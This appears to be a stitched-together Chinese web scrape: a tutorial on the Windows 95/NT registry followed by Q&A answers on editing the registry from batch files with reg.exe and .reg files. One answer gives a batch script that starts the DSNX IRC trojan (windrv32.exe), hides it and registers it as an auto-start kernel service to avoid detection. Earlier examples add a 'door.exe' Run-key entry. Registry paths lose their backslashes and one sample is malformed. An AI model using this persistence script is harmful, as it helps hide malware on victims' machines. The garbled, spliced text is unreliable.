什么是注册表? 注册表因为它复杂的结构和没有任何联系的CLSID键使得它可能看上去很神秘。不幸的是,微软并没有完全公开讲述关于注册表正确设置的支持信息,这样使得注册表看上去更不可琢磨。处理和编辑注册表如同“黑色艺术”一样,它在系统中的设置让用户感觉象在黑暗中摸索一样找不到感觉。这样,因为用户对这方面的缺乏了解使得注册表更多的出现故障。 Windows注册表是帮助Windows控制硬件、软件、用户环境和Windows界面的一套数据文件,注册表包含在Windows目录下两个文件system.dat和user.dat里,还有它们的备份system.da0和user.da0。通过Windows目录下的regedit.exe程序可以存取注册表数据库。在以前,在windows的更早版本(在win95以前),这些功能是靠win.ini,system.ini和其他和应用程序有关联的.ini文件来实现的. 在windows操作系统家族中,system.ini和win.ini这两个文件包含了操作系统所有的控制功能和应用程序的信息,system.ini管理计算机硬件而win.ini管理桌面和应用程序。所有驱动、字体、设置和参数会保存在.ini文件中,任何新程序都会被记录在.ini文件中。这些记录会在程序代码中被引用。因为受win.ini和system.ini文件大小的限制,程序员添加辅助的.INI文件以用来控制更多的应用程序。举例来说,微软的Excel有一个excel.ini文件,它包含着选项、设置、缺省参数和其他关系到Excel运行正常的信息。在system.ini和win.ini中只需要指出excel.ini的路径和文件名即可。 最开始,system.ini和win.ini控制着所有windows和应用程序的特征和存取方法,它在少数的用户和少数应用程序的环境中工作的很好。随着应用程序的数量和复杂性越来越大,则需要在.ini文件中添加更多的参数项。这样下来,在一个变化的环境中,在应用程序安装到系统中后,每个人都会更改.ini文件。然而,没有一个人在删除应用程序后删除.ini文件中的相关设置,所以system.ini和win.ini这个两个文件会变的越来越大。每增加的内容会导致系统性能越来越慢。而且每次应用程序的升级都出现这样的难题:升级会增加更多的参数项但是从来不去掉旧的设置。而且还有一个明显的问题,一个.ini文件的最大尺寸是64KB。为了解决这个问题,软件商自己开始支持自己的.ini文件,然后指向特定的ini文件如win.ini和system.ini文件。这样下来多个.ini文件影响了系统正常的存取级别设置。如果一个应用程序的.ini文件和WIN.INI文件设置起冲突,究竟是谁的优先级更高呢? 注册表最初被设计为一个应用程序的数据文件相关参考文件,最后扩展成对于32位操作系统和应用程序包括了所有功能下的东东.注册表是一套控制操作系统外表和如何响应外来事件工作的文件。这些“事件”的范围从直接存取一个硬件设备到接口如何响应特定用户到应用程序如何运行等等。注册表因为它的目的和性质变的很复杂,它被设计为专门为32位应用程序工作,文件的大小被限制在大约40MB。 注册表都做些什么? 注册表是为Windows NT和Windows95中所有32位硬件/驱动和32位应用程序设计的数据文件。16位驱动在Winnt下无法工作,所以所有设备都通过注册表来控制,一般这些是通过BIOS来控制的。在Win95下,16位驱动会继续以实模式方式设备工作,它们使用system.ini来控制。16位应用程序会工作在NT或者Win95 下,它们的程序仍然会参考win.ini和system.ini文件获得信息和控制。 在没有注册表的情况下,操作系统不会获得必须的信息来运行和控制附属的设备和应用程序及正确响应用户的输入。 在系统中注册表是一个记录32位驱动的设置和位置的数据库。当操作系统需要存取硬件设备,它使用驱动程序,甚至设备是一个BIOS支持的设备。无BIOS支持设备安装时必须需要驱动,这个驱动是独立于操作系统的,但是操作系统需要知道从哪里找到它们,文件名、版本号、其他设置和信息,没有注册表对设备的记录,它们就不能被使用。 当一个用户准备运行一个应用程序,注册表提供应用程序信息给操作系统,这样应用程序可以被找到,正确数据文件的位置被规定,其他设置也都可以被使用。 注册表保存关于缺省数据和辅助文件的位置信息、菜单、按钮条、窗口状态和其他可选项。它同样也保存了安装信息(比如说日期),安装软件的用户,软件版本号和日期,序列号等。根据安装软件的不同,它包括的信息也不同。 然而,一般来说,注册表控制所有32位应用程序和驱动,控制的方法是基于用户和计算机的,而不依赖于应用程序或驱动,每个注册表的参数项控制了一个用户的功能或者计算机功能。用户功能可能包括了桌面外观和用户目录。所以,计算机功能和安装的硬件和软件有关,对所以用户来说项都是公用的。 有些程序功能对用户有影响,有些时作用于计算机而不是为个人设置的,同样的,驱动可能是用户指定的,但在很多时候,它们在计算机中是通用的。 注册表控制用户模式的例子有: 控制面板功能; 桌面外观和图标; 网络参数; 浏览器功能性和特征; 那些功能中的某些是和用户无关的,有些是针对用户的。 计算机相关控制项基于计算机名,和登陆用户无关。控制类型的例子是安装一个应用程序,不管是哪个用户,程序的可用性和存取是不变的,然而,运行程序图标依赖于网络上登陆的用户。网络协议可用性和优先权基于计算机,但是当前连接和用户信息相关。 这里是在注册表中基与计算机控制条目的一些例子: 存取控制; 登陆确认; 文件和打印机共享; 网卡设置和协议; 系统性能和虚拟内存设置; 没有了注册表,Win95和Winnt 就不太可能存在。它们实在太复杂了,以致于用过去的.ini文件无法控制,它们的扩展能力需要几乎无限制的安装和使用应用程序,注册表实现了它。然而,注册表比.ini文件更复杂,理解它如何工作,它做什么和如何用它来做是有效管理系统的关键。 在系统中注册表控制所有32位应用程序和它们的功能及多个应用程序的交互,比如复制和粘贴,它也控制所有的硬件和驱动程序。虽然多数可以通过控制面板来安装和设置,理解注册表仍是做Winnt和Win95系统管理基本常识。 二、注册表的结构 注册表的结构 注册表是Windows程序员建造的一个复杂的信息数据库,它是多层次式的。在不同系统上注册表的基本结构相同。其中的复杂数据会在不同方式上结合,从而产生出一个绝对唯一的注册表。 计算机配置和缺省用户设置的注册表数据在Winnt中被保存在下面这五个文件中: DEFAULT,SAM,SECURITY,SOFTWARE,SYSTEM,NTUSER.DAT。 Win95中所有系统注册信息保存在windows目录下的SYSTEM.DAT文件里。所有硬件设置和软件信息也保存在这个文件。它要比NT注册表文件简单的多,因为这里并不需要更多的控制。Win95被设计为一个网络的客户或者单独工作的系统,所以用户控制或者安全级别和NT不一样。这使得Win95注册表工作比NT更容易,所以这个文件也比较小。 Win95用户的注册数据一般被保存在windows目录下的user.dat里。如果你在控制面板|密码|用户配置文件中创建并使用多于一个用户的配置文件,每个用户就会有在WINDOWSProfilesusernameUSER.DAT下它自己的user.dat文件。在启动时,系统将记录你的登陆,从你目录中的配置文件(USER.DAT信息)将被装入,以用来保持你自己的桌面和图标。 控制键 在注册表编辑器中注册表项是用控制键来显示或者编辑的。控制键使得找到和编辑信息项组更容易。因此,注册表使用这些条目。下面是六个控制键 HKEY_LOCAL_MACHINE HKEY_CLASSES_ROOT HKEY_CURRENT_CONFIG HKEY_DYN_DATA HKEY_USERS HKEY_CURRENT_USER Winnt和Win95的注册表并不兼容。从Win95向Winnt升级需要你重新安装32位应用程序,重新在桌面上创建图标,并重新建立用户环境。 通过控制键可以比较容易编辑注册表。虽然它们显示和编辑好象独立的键,其实HKEY_CLASSES_ROOT 和HKEY_CURRENT_CONFIG是 HKEY_LOCAL_MACHINE的一部分。HKEY_CURRENT_USER是HKEY_USERS的一部分。 HKEY_LOCAL_MACHINE包含了HKEY_CLASSES_ROOT和HKEY_CURRENT_CONFIG的所有内容。每次计算机启动时,HKEY_CURRENT_CONFIG和HKEY_CLASSES_ROOT的信息被映射用以查看和编辑。 HKEY_CLASSES_ROOT其实就是HKEY_LOCAL_MACHINESOFTWAREClasses,但是在HKEY_CLASSES_ROOT窗编辑相对来说显得更容易和有条理。 HKEY_USERS保存着缺省用户信息和当前登陆用户信息。当一个域成员计算机启动并且一个用户登陆,域控制器自动将信息发送到HKEY_CURRENT_USER里,而且HKEY_CURRENT_USER信息被映射到系统内存中。其他用户的信息并不发送到系统,而是记录在域控制器里。 键和子键 数据被分割成多层次的键和子键,建立分层次(就象Exploer一样)结构更易于编辑。每个键有成组的信息而且根据在其中的数据类型被命名。每个键在它的文件夹图标上都有一个加号(+)标志子键说明在它下面还有更多内容的东西。当点开它的时候,文件夹的加号标志被替换成一个减号(-)标志,然后显示出下一级的子键。 所有软件,硬件,windows工作的设置都存放在HKEY_LOCAL_MACHINE。所有安全策略,用户权限和共享信息也包括在这个键中。用户权限,安全策略,共享信息可以通过Windows NT域用户管理器,Explorer和Win95中控制面板来设置。 HKEY_CLASSES_ROOT HKEY_CLASSES_ROOT包含了所有应用程序运行时必需的信息: 在文件和应用程序之间所有的扩展名和关联; 所有的驱动程序名称; 类的ID数字(所要存取项的名字用数字来代替); DDE和OLE的信息; 用于应用程序和文件的图标; HKEY_CURRENT_CONFIG. HKEY_CURRENT_CONFIG是在HKEY_LOCAL_MACHINE中当前硬件配置信息的映射。如果系统只有一个配置文件,也就是原始配置,数据将一直在同样的地方。在控制面板|系统|硬件配置文件|创建一个额外的配置使额外配置信息放入HKEY_LOCAL_MACHINE。当Win95中存在多个配置文件时,当每次计算机启动时将给出一个提示让你选择一个配置文件。在Winnt中,在启动时你可以按空格键来选择上次正常启动时硬件配置文件。根据硬件配置文件选择的不同,特定的信息被映射到HKEY_CURRENT_CONFIG。 HKEY_DYN_DATA HKEY_DYN_DATA和其他的注册表控制键不同,因为实际上它并不被写入硬盘驱动器中。Win95的一个优点是,在系统启动时HKEY_DYN_DATA这个控制键储存收集到的即插即用信息并配置它们。它保存在内存中,Win95用它来控制硬件。因为是在内存中,所以它不从硬盘中读取,每次当你启动计算机时,配置都有可能会不一样。在启动时Win95必须计算超过1600种可能的配置。所以,如果系统改变既定的设置而没有报告给Win95那么潜在的问题就可能发生。系统大多数时间工作良好,但是并非一直如此。 HKEY_USERS HKEY_USERS仅包含了缺省用户设置和登陆用户的信息。虽然它包含了所有独立用户的设置,但在用户未登陆网络时用户的设置是不可用的。这些设置告诉系统哪些图标会被使用,什么组可用,哪个开始菜单可用,哪些颜色和字体可用,和控制面板上什么选项和设置可用。 HKEY_CURRENT_USER 用来保存当前用户和缺省用户的信息,HKEY_CURRENT_USER仅映射当前登陆用户的信息。 各主键的简单介绍 HKEY_LOCAL_MACHINE HKEY_LOCAL_MACHINE是一个显示控制系统和软件的处理键。HKLM键保存着计算机的系统信息。它包括网络和硬件上所有的软件设置。(比如文件的位置,注册和未注册的状态,版本号等等)这些设置和用户无关,因为这些设置是针对使用这个系统的所有用户的。 HKEY_LOCAL_MACHINEAppEvents 为了以后在瘦客户机上运行客户机/服务器这样的应用程序,在Win95/98中AppEvents键是空的。应用程序实际上都驻留网络服务器上,这些键会保存部分指针。 HKEY_LOCAL_MACHINEConfig 这个键保存着你计算机上所有不同的硬件设置(这些从控制面板的系统属性中硬件配置文件中可以创建)。这些配置在启动时通常被复制到HKCC。每个配置会被用一个键(比如0001或者0002等等)来保存,每个都是一个独立的配置。如果你只有一个单一的配置,那就只会有0001这个键 HKEY_LOCAL_MACHINEConfig001Display 这个键表示显示的设置,如荧屏字体,窗体大小,窗体位置和分辨率等 一个小技巧:当设置了计算机不支持的大分辨率导致Windows不能启动时(黑屏),可以修改分辨率来解决。进入安全模式,运行regedit.exe,在这个键的Resolution键值中把数据值修改为640,480或者800,600这样的低分辨率,然后重新启动计算机即可。 HKEY_LOCAL_MACHINEConfig001System 这个键保存着系统里打印机的信息 HKEY_LOCAL_MACHINEConfig001SystemCurrentControlSetControlPrintPrinters 在这个键下面,有一个键是为系统上每一个打印机设置的,通过控制面板添加和删除打印机会调整这个列表 HKEY_LOCAL_MACHINEEnum Enum键包含启动时发现的硬件设备和那些既插即用卡的信息。Win95使用总线列举在启动时通过不同的.ini文件来检测硬件信息。那些在启动时被安装的和被检测到的硬件会显示在这里。子键包括BIOS, ESDI, FLOP, HTREE, ISAPNP, Monitor, Network, Root, SCSI, 和 VIRTUAL。子键名表示它们各自的硬件设备信息。 HKEY_LOCAL_MACHINEEnumBIOS BIOS键保存着系统中所有即插即用设备的信息。它们用一套代码数列出,包括每一个键的详细说明,举例,*pnp0400是并行口LPT1的键。如果LPT1并不具备即插即用功能,它就会别列入到Enum下的Root键中 HKEY_LOCAL_MACHINEEnumRoot Root键包括所有非即插即用设备的信息。在这里,我们可以迅速断定哪些设备是即插即用,那些不是。比如SCSI适配器,这个设备必须符合Win95中一个键名为ForcedConfig的硬件设置,这个不会改变。 HKEY_LOCAL_MACHINEEnumNetwork win95的网络功能在这个键有详细说明,子键包括了每个已经安装的主要的服务和协议。 HKEY_LOCAL_MACHINEHARDWARE hardware子键包括了两个多层的子键:DESCRIPTION键,它包含了中央处理器和一个浮点处理器的信息。还有一个设备映射键,它下面的串行键列出你所有的com端口。这个hardware键仅保存超级终端程序的信息,及数学处理器和串行口。 HKEY_LOCAL_MACHINENetwork 这个键仅保存网络登陆信息。所有网络服务细节都保存在HKEY_LOCAL_MACHINEEnumNetwork这个键中。这个键有一个子键,logon,包括了lmlogon(本地机器登陆?0=false 1=true)的值,logonvalidated(必须登陆验证),策略处理,主登陆方式(Windows登陆 ,微软网络客户方式等),用户名和用户配置。 HKEY_LOCAL_MACHINESECURITY security 有两个子键,第一个是存取(它最终致使一个远程键列出网络安全资源,存取权限等)和提供(包括列出网络地址和地址服务器),这个键被保留用在以后使用高级安全功能和NT兼容性上 HKEY_LOCAL_MACHINESOFTWARE 这个键列出了所有已安装的32位软件和程序的.ini文件。它包括了变化,依靠软件安装。那些程序的控制功能在这里的子键中列出。多数子键简单的列出了安装软件的版本号。 我们在MicrosoftWindowsCurrent Version下发现了一些有意思的设置,它有如下子键: 1.App paths: 你曾经安装过的所有32位软件的位置。 2.Applets, Compression, Controls Folder : 包括下控制面板象显示属性那样属性条的附件。 3.Detect, explorer :很多有意思的子键如Namespace keys of Desktop和My Computer----它们指出了回收站和拨号网络的CLSID行----和提示子键可以让你建立自己的提示。 4.Extensions : 一个扩展联系的列表,当前相关联的扩展名和比特定的执行文件更适合的目标类型。 5.Fonts, fontsize, FS Templates :系统属性条中所选择文件系统模板, 服务器,桌面计算机或者笔记本电脑信息。 6.MS-DOS Emulation :包括一个应用程序兼容子键 为大量过时的程序二进制键所设。 7.MS-DOS Options :在dos模式下的设置,如himem.sys,cd-roms等。 8.Network :网络驱动的配置。 9.Nls, Policies :系统管理员认为你不应该去做的事。 10.ProfileList :所有可以登陆你计算机的用户名列表。 11.在Windows启动时运行的程序的神秘之处是它们并不在开始菜单的启动文件夹中。它们在HKEY_LOCAL_MACHINEMicrosoftWindowsCurrentVersion下的子键中被执行。 Run : 程序在启动时运行 RunOnce : windows初始化时程序在启动时只运行一次,这个经常用在当安装软件之后需要重新启动系统的时候,所以这个键一般都是空的。 RunServices : 它就象Run一样,但是包含了“服务”,它不象一般的程序它们是比较重要的或者是“系统”程序。但是它们不是VXDs,就象McAfee或者RegServ工作一样。 RunServicesOnce : 它只运行一次,但是是“系统自身”的安装(大量的windows安装参数:通常键值包括了系统目录位置,和win95更新,可选项安装组件,和windows启动目录的子键。 注意:在很多黑客木马软件中,常常在这里添加键值(一般是在Run中),这样使得木马软件可以随着windows启动而启动并且很隐秘。在这里可以查看不正常的启动项和去掉无用的运行程序(比如我就很不喜欢超级解霸的自动伺服器,在这里可以去掉它)。 12.SharedDLLs:共享DLL的列表,每一个都给出了在一个不可知系统的一个数字等级。 13.Shell Extensions:列出了“被认可的”OLE注册条,和相应的CLSID连接。 14.ShellScrap :这个包含了一个PriorityCacheformats的子键,它包括了一个空的有限值,它更象过去SmartDrive命令行参数的派生。 15.Time Zones : 主键值是你现在的时区;子键定义了所以可能的时区。 16.Uninstall:这个保存了程序在添加/删除程序对话框的显示;子键包含了指向反安装程序的路径。和安装向导相似.......)winlogon(包含了合法登陆布告的文本句) HKEY_LOCAL_MACHINESYSTEMCurrentControlSet 这个子键包括设备驱动和其他服务的描述和控制。不同于windows nt,win95只包括限制驱动的控制设置信息。 HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControl 这个子键包括了win95控制面板中的信息。不要编辑这些信息,因为一些小程序的改变在很多地方,一个丢失的项会使这个系统变的不稳定 HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServices 这个键包括了所有win95的标准服务。所有被添加的服务和设备,每个标准的服务键包括了它的设置和辨认设置。 HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesArbitrators atbitrators键包括了当两个设备共同占用同样的设置需要解决的信息。四个子键包括了内存地址,冲突,DMA,I/O端口冲突和IRQ冲突。 HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesClass class键包括了所有win95支持的设备classes控制,这些和你在添加新硬件出现的硬件组很类似,还包括了这些设备如何安装的信息。 HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesinetaccs 这个键包括了关于这个系统变化的ie附件的可用性,它仅在你安装过ie2。0或者更高版本才出现。 HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesMSNP32 msnp32描述了客户机如何在microsoft网络中实现功能,它包括了认证过程和认证者的信息。 HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesNWNP32 nenp32键描述了windows客户如何在netware网络中工作功能,它包括了关于认证过程和证明者的信息。 HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesRemoteAccess 在这个键里包括需要远程工作在win95系统上的信息,有认证参数,主机信息,和为了建立一个拨号连接工作的协议信息。 HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesSNMP 这个键包括了所以snmp(简单网络管理协议)的参数。它包括了允许的管理,配置陷阱,和有效的团体。 HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesVxD vxd键包括了win95中所有32位虚拟设备驱动信息,win95自动管理它们,所以不必要用注册表编辑器编辑它们,所以的静态vxds用子键列出。 HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesWebPost webpost键包括了所有装载的internet邮局的设置,如果你连接一个isp,并且它列出载这里,你应该给自己选则一个服务器。 HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesWinsock 这个键列出了当连接到internet上winnsock文件的信息,如果列出了不正确的文件,你将不会连接上internet。 HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesWinTrust wintrust功能是检查从Internet上下载来的文件是否有病毒,它可以确保你得到干净安全的文件。 HKEY_CLASSES_ROOT 在注册表中HKEY_CLASSES_ROOT是系统中控制所有数据文件的项。这个在Win95和Winnt中是相通的。HKEY_CLASSES_ROOT控制键包括了所有文件扩展和所有和执行文件相关的文件。它同样也决定了当一个文件被双击时起反应的相关应用程序。 HKEY_CLASSES_ROOT被用作程序员在安装软件时方便的发送信息,在Win95和Winnt中,HKEY_CLASSES_ROOT和HKEY_LOCAL_MACHINESoftwareClasses是相同的。程序员在运行他们的启动程序时不需要担忧实际的位置,相反的,他们只需要在HKEY_CLASSES_ROOT中加入数据就可以了。 在Windows用户图形界面下,每件事----每个文件,每个目录,每个小程序,每个连接,每个驱动---都被看做一个对象;每个对象都有确定的属性和它联系。HKCR包含着对象类型和它们属性的列表。HKCR主要的功能被设置为:
2023-07-20 11:17:097

批处理文件修改注册表键值的语句怎么写?

再用下面的命令前,要确定你的系统"system32"目录下有"reg.exe"这个文件,如果你的系统里没有可以再联系我发给你。\加入或修改以有键或键值项REGADDKeyName[/vValueName|/ve][/tType][/sSeparator][/dData][/f]KeyName[\Machine]FullKeyMachine远程机器名-忽略默认到当前机器。远程机器上只有HKLM和HKU。FullKeyROOTKEYSubKeyROOTKEY[HKLM|HKCU|HKCR|HKU|HKCC]SubKey所选ROOTKEY下注册表项的完整名。/v所选项之下要添加的值名。/ve为注册表项添加空白值名(默认)。/tRegKey数据类型[REG_SZ|REG_MULTI_SZ|REG_EXPAND_SZ|REG_DWORD|REG_QWORD|REG_BINARY|REG_NONE]如果忽略,则采用REG_SZ。/s指定一个在REG_MULTI_SZ数据字符串中用作分隔符的字符如果忽略,则将""用作分隔符。/d要分配给添加的注册表ValueName的数据。/f不用提示就强行覆盖现有注册表项。例如:REGADD\ABCHKLMSoftwareMyCo添加远程机器ABC上的一个注册表项HKLMSoftwareMyCoREGADDHKLMSoftwareMyCo/vData/tREG_BINARY/dfe340ead添加一个值(名称:Data,类型:REG_BINARY,数据:fe340ead)REGADDHKLMSoftwareMyCo/vMRU/tREG_MULTI_SZ/dfaxmail添加一个值(名称:MRU,类型:REG_MUTLI_SZ,数据:faxmail)REGADDHKLMSoftwareMyCo/vPath/tREG_EXPAND_SZ/d^%systemroot^%添加一个值(名称:Path,类型:REG_EXPAND_SZ,数据:%systemroot%)注意:在扩充字符串中使用插入符号(^)\删除键或键值项REGDELETEKeyName[/vValueName|/ve|/va][/f]KeyName[\Machine]FullKeyMachine远程机器名-忽略当前机器的默认值。远程机器上只有HKLM和HKU。FullKeyROOTKEYSubKeyROOTKEY[HKLM|HKCU|HKCR|HKU|HKCC]SubKey所选ROOTKEY下的注册表项的全名。ValueName所选项下的要删除的值的名称。省略时,该项下的所有子项和值都会被删除。/ve删除空白值名称的值(默认)。/va删除该项下的所有值。/f不用提示就强行删除。例如:REGDELETEHKLMSoftwareMyCoMyAppTimeout删除注册表项Timeout及其所有子项和值REGDELETE\ZODIACHKLMSoftwareMyCo/vMTU删除ZODIAC上MyCo下的注册表项MTU\从REG文件导入到注册表REGIMPORTFileNameFileName要导入的磁盘文件名(只是本地机器)。例如:REGIMPORTAppBkUp.reg从文件AppBkUp.reg导入注册表项\导出注册键到指定文件REGEXPORTKeyNameFileNameKeynameROOTKEY[SubKey](只是本地机器)。ROOTKEY[HKLM|HKCU|HKCR|HKU|HKCC]SubKey所选ROOTKEY下的注册表项的全名。FileName要导出的磁盘文件名。/y不用提示就强行覆盖现有文件。例如:REGEXPORTHKLMSoftwareMyCoMyAppAppBkUp.reg将注册表项MyApp的所有子项和值导出到文件AppBkUp.reg建议你如果要做的修改内容比较多的话,可以先编辑成".reg"文件,然后用"regimport"命令导入,这样以后也只要修改REG文件就行了。而且这时也可以用regedit这个命令,如下:"regedit.exe/stest.reg"参数"/s"是不提示,支持导入到注册表。希望能帮到你。
2023-07-20 11:17:254

用批处理修改注册表

选择【开始】→【运行】命令,在【运行】对话框的【打开】文本框中输入“regedit.exe”,单击【确定】按钮,运行注册表编辑器,依次打开以下键:HKEY_CURRENT_USERSoftwarePoliciesMicrosoftSystem在右边的窗口中新建一个DWORD值,其名称为DisableCMD,设数值数据为2,则表示命令提示符程序和批处理文件都不能被运行,其值为1,则只是禁止命令提示符的运行。示例:echo REGEDIT4>iedown.regecho [HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionInternet Settingsones3]>>iedown.regecho "1803"=dword:00000000>>iedown.reg以上生成REG文件.regedit /s iedown.regdel iedown.reg运行REG后删除之.还可以:写一个注册表文件,放在一个位置..然后批处理导入:@echo offregedit /s 注册表文件路径exit说明:/s是不弹出确认提示直接导入先学习一下如何使用.REG文件来操作注册表.(我们可以用批处理来生成一个REG文件) 关于注册表的操作,常见的是创建、修改、删除。1.创建 创建分为两种,一种是创建子项(Subkey) 我们创建一个文件,内容如下: Windows Registry Editor Version 5.00 [HKEY_LOCAL_MACHINESOFTWAREMicrosofthacker] 然后执行该脚本,你就已经在HKEY_LOCAL_MACHINESOFTWAREMicrosoft下创建了一个名字为"hacker"的子项。 另一种是创建一个项目名称 那这种文件格式就是典型的文件格式,和你从注册表中导出的文件格式一致,内容如下: Windows Registry Editor Version 5.00 [HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun] "Invader"="Ex4rch" "Door"=C:\WINNT\system32\door.exe "Autodos"=dword:02 这样就在[HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun]下 新建了:Invader、door、about这三个项目 Invader的类型是"String value" door的类型是"REG SZ value" Autodos的类型是"DWORD value" 2.修改 修改相对来说比较简单,只要把你需要修改的项目导出,然后用记事本进行修改,然后导入(regedit /s)即可。 3.删除 我们首先来说说删除一个项目名称,我们创建一个如下的文件: Windows Registry Editor Version 5.00 [HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun] "Ex4rch"=- 执行该脚本,[HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun]下的"Ex4rch"就被删除了; 我们再看看删除一个子项,我们创建一个如下的脚本: Windows Registry Editor Version 5.00 [-HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun] 执行该脚本,[HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun]就已经被删除了。 相信看到这里,.reg文件你基本已经掌握了。那么现在的目标就是用批处理来创建特定内容的.reg文件了,记得我们前面说道的利用重定向符号可以很容易地创建特定类型的文件。 samlpe1:如上面的那个例子,如想生成如下注册表文件 Windows Registry Editor Version 5.00 [HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun] "Invader"="Ex4rch" "door"=hex:255 "Autodos"=dword:000000128 只需要这样: @echo Windows Registry Editor Version 5.00>>Sample.reg @echo [HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun]>Sample.reg @echo "Invader"="Ex4rch">>Sample.reg @echo "door"=5>>C:\WINNT\system32\door.exe>>Sample.reg @echo "Autodos"=dword:02>>Sample.reg samlpe2: 我们现在在使用一些比较老的木马时,可能会在注册表的[HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun(Runonce、Runservices、Runexec)]下生成一个键值用来实现木马的自启动.但是这样很容易暴露木马程序的路径,从而导致木马被查杀,相对地若是将木马程序注册为系统服务则相对安全一些.下面以配置好地IRC木马DSNX为例(名为windrv32.exe) @start windrv32.exe @attrib +h +r windrv32.exe @echo [HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun] >>patch.dll @echo "windsnx "=- >>patch.dll @sc.exe create Windriversrv type= kernel start= auto displayname= WindowsDriver binpath= c:winntsystem32windrv32.exe @regedit /s patch.dll @delete patch.dll @REM [删除DSNXDE在注册表中的启动项,用sc.exe将之注册为系统关键性服务的同时将其属性设为隐藏和只读,并config为自启动] @REM 这样不是更安全.怎么用批处理命令删注册表里的键值或用命令的方法删注册表值?REG DELETE KeyName [/v ValueName | /ve | /va] [/f] KeyName [\Machine]FullKey Machine 远程机器名 - 忽略当前机器的默认值。 远程机器上只有 HKLM 和 HKU。 FullKey ROOTKEYSubKey ROOTKEY [ HKLM | HKCU | HKCR | HKU | HKCC ] SubKey 所选 ROOTKEY 下的注册表项的全名。 ValueName 所选项下的要删除的值的名称。 省略时,该项下的所有子项和值都会被删除。 /ve 删除空白值名称的值(默认)。 /va 删除该项下的所有值。 /f 不用提示就强行删除。 例如: REG DELETE HKLMSoftwareMyCoMyAppTimeout 删除注册表项 Timeout 及其所有子项和值 REG DELETE \ZODIACHKLMSoftwareMyCo /v MTU 删除 ZODIAC 上 MyCo 下的注册表项 MTUregedit.exe的参数 filename 导入 .reg 文件进注册表 /s 导入 .reg 文件进注册表(安静模式) /e 导出注册表文件 例:regedit /e filename.reg HKEY_LOCAL_MACHINESYSTEM /L:system 指定 system.dat /R:user 指定 user.dat 隐藏导入注册表信息用regedit /s 即可在DOS提示符下键入Regedit命令,将出现一个帮助屏幕。此屏幕给出了其命令行参数及其使用方法。 语法:Regedit[/L:system][/R:user]filename1 Regedit[/L:system][/R:user]/Cfilename2 Regedit[/L:system][/R:user]/Efilename3[regpath] 其中: /L:system指定system.dat文件的存放位置。 /L:user指定user.dat文件的存放位置。 filename1指定引入注册表数据库的文件名。 /Cfilename2指定形成注册表数据库的文件名。 /Efilename3指定导出注册表文件的文件名。 regpath指定导出注册表文件的开始关键字(缺省为全部关键字) 现举几个例子说明regedit.exe在DOS下的使用方法。 【例1】将系统注册表数据库registry导出到reg1.reg文件中。 regedit/Ereg1.reg 【例2】reg1.reg形成系统注册表数据库registry(全部)中。 regedit/Creg1.reg 【例3】将reg.dat引入系统注册表数据库中(部分)。 regeditreg.dat 【例4】将CJH开始的关键字导出注册表数据库,并命名为cjh.reg。 regedit/Ecjh.regcjh 【例5】指定system/dat存放在D:PWIN中和user.dat存放在E:PWIN中,将reg.dat数据文件形成一个新的注册表数据库registry。 regedit/L:D:PWIN/R:E:PWIN/Creg.dat 有了以上这些知识,结合在《对注册表进行编程的“捷径”》里讲过的关于导入或导出的注册表文件(*.REG),我们就可以在DOS方式下对注册表进行编程了。 我们还是以更改“*.txt”文件的默认打开方式——“记事本”为“写字板”为例。首先在MS-DOS提示符下导出“HKEY_CLASSES_ROOT xtfile”子键这一分支,即执行命令: regedit/Etxt.regHKEY_CLASSES_ROOT xtfile 然后用DOS下的EDIT编辑器打开txt.reg文件进行编辑:将其中所有的“C:\WINDOWS\NOTEPAD.EXE”全部改成“C:\WINDOWS\WRITE.EXE”,存盘退出EDIT,再在命令行下执行命令: regedittxt.reg XP上新加的注册表操作命令 ADD REG ADD KeyName [/v ValueName | /ve] [/t Type] [/s Separator] [/d Data] [/f] KeyName [\Machine]FullKey 远程机器的机器名 - 忽略默认到当前机器。 远程机器上只有 HKLM 和 HKU。 FullKey ROOTKEYSubKey ROOTKEY [ HKLM | HKCU | HKCR | HKU | HKCC ] SubKey 所选 ROOTKEY 下注册表项的完整名 /v 所选项之下要添加的值名 /ve 为注册表项添加空白值名<无名称> /t RegKey 数据类型 [ REG_SZ | REG_MULTI_SZ | REG_DWORD_BIG_ENDIAN | REG_DWORD | REG_BINARY | REG_DWORD_LITTLE_ENDIAN | REG_NONE | REG_EXPAND_SZ ] 如果忽略,则采用 REG_SZ /s 指定一个在 REG_MULTI_SZ 数据字符串中 用作分隔符的字符 如果忽略,则将 "" 用作分隔符 /d 要分配给添加的注册表 ValueName 的数据 /f 不用提示就强行改写现有注册表项 例如: REG ADD \ABCHKLMSoftwareMyCo 添加远程机器 ABC 上的一个注册表项 HKLMSoftwareMyCo REG ADD HKLMSoftwareMyCo /v Data /t REG_BINARY /d fe340ead 添加一个值(名称: Data,类型: REG_BINARY,数据: fe340ead) REG ADD HKLMSoftwareMyCo /v MRU /t REG_MULTI_SZ /d faxmail 添加一个值(名称: MRU,类型: REG_MUTLI_SZ,数据: fax COMPARE REG COMPARE KeyName1 KeyName2 [/v ValueName | /ve] [Output] [/s] KeyName [\Machine]FullKey Machine 远程机器名 - 省略当前机器的默认值 远程机器上只有 HKLM 和 HKU FullKey ROOTKEYSubKey 